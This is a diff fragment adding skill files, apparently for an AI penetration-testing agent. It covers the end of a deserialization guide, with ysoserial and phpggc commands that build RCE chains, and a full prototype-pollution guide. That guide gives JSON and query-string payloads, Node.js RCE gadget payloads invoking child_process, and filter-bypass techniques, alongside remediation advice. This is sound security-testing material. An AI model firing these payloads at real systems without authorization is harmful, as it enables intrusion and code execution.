+| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
+| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
+
+```
+# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
+java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
+
+# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
+./phpggc -b Laravel/RCE9 system id
+```
+
+Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
+
+## Summary
+
+Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.

strix/skills/vulnerabilities/prototype_pollution.md

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+---
+name: prototype-pollution
+description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
+---
+
+# Prototype Pollution
+
+Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
+
+## Attack Surface
+
+**Languages & Runtimes**
+- JavaScript/TypeScript (browser and Node.js)
+- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
+- Server-side template engines and config merge utilities
+
+**Input Vectors**
+- JSON request bodies, query strings, multipart form fields
+- URL-encoded nested objects (`__proto__[key]=value`)
+- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
+
+**Vulnerable Patterns**
+- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
+- Query parsers: `qs`, `body-parser` with nested object support
+- Client-side routing, state hydration, analytics SDK config merges
+
+## Key Vulnerabilities
+
+### Client-Side Prototype Pollution
+
+**Gadget Effects**
+- Bypass auth checks reading `user.isAdmin` when polluted on prototype
+- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
+- Cookie/session manipulation if app reads config from polluted defaults
+
+**Payload Shapes**
+```json
+{"__proto__": {"isAdmin": true}}
+{"constructor": {"prototype": {"isAdmin": true}}}
+{"__proto__.polluted": "yes"}
+```
+
+**URL-encoded (qs-style)**
+```
+?__proto__[isAdmin]=true
+?constructor[prototype][isAdmin]=true
+```
+
+### Server-Side Prototype Pollution (Node.js)
+
+**Common Sinks**
+- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
+- Express/query parsers accepting nested objects
+- YAML `load()` (not `safeLoad`) with prototype keys
+- JSON.parse → merge into existing object without null prototype
+
+**RCE Gadget Chains (Node.js)**
+Pollute properties consumed by child_process, template engines, or require paths:
+```json
+{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
+{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
+```
+
+Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
+
+### Filter Bypasses
+
+**Key Sanitization Bypasses**
+- Unicode normalization: `__proto__` variants, fullwidth underscores
+- Nested forms: `constructor.prototype` instead of `__proto__`
+- Array pollution: `__proto__[0]`, `[].__proto__`
+- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
+
+**Freeze/Seal Gaps**
+- Pollution before `Object.freeze` on instance but not prototype
+- Pollution affecting newly created objects after merge
+
+## Testing Methodology
+
+1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
+2. **Baseline probe** — Inject benign pollution marker:
+   ```json
+   {"__proto__": {"strixPolluted": "yes"}}
+   ```
+   Verify via response behavior, error messages, or follow-up request reading shared state
+3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
+4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
+5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
+6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
+
+## Validation
+
+1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
+2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
+3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
+4. Document exact merge function and input path (parameter name, content-type)
+5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
+
+## False Positives
+
+- Parser strips `__proto__` before merge — marker property never appears on prototype
+- Framework uses `Object.create(null)` for options objects throughout
+- Polluted key visible in JSON echo but never merged into object graph
+- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
+- WAF blocks payload but alternate encoding also blocked consistently
+
+## Bypass Methods
+
+- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
+- Use array notation: `__proto__[key]`, `[].__proto__.key`
+- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
+- Split pollution across multiple parameters merged sequentially
+- Second-order pollution: store payload, trigger merge in background job or export pipeline
+
+## Impact
+
+- Authentication/authorization bypass via polluted flag checks
+- DOM XSS and session compromise in browsers
+- Remote code execution on Node.js through known gadget chains
+- Denial of service via polluting widely read prototype properties
+
+## Pro Tips
+
+1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
+2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
+3. Check both request parsing and response template config merges (second-order)
+4. Node gadget chains are version-specific — confirm package version before claiming RCE
+5. Combine with client-side template injection if polluted keys flow into rendering config
+
+## Tooling
+
+Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
+
+- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
+- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
+- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
+
+For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
+
+## Summary
+
+Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.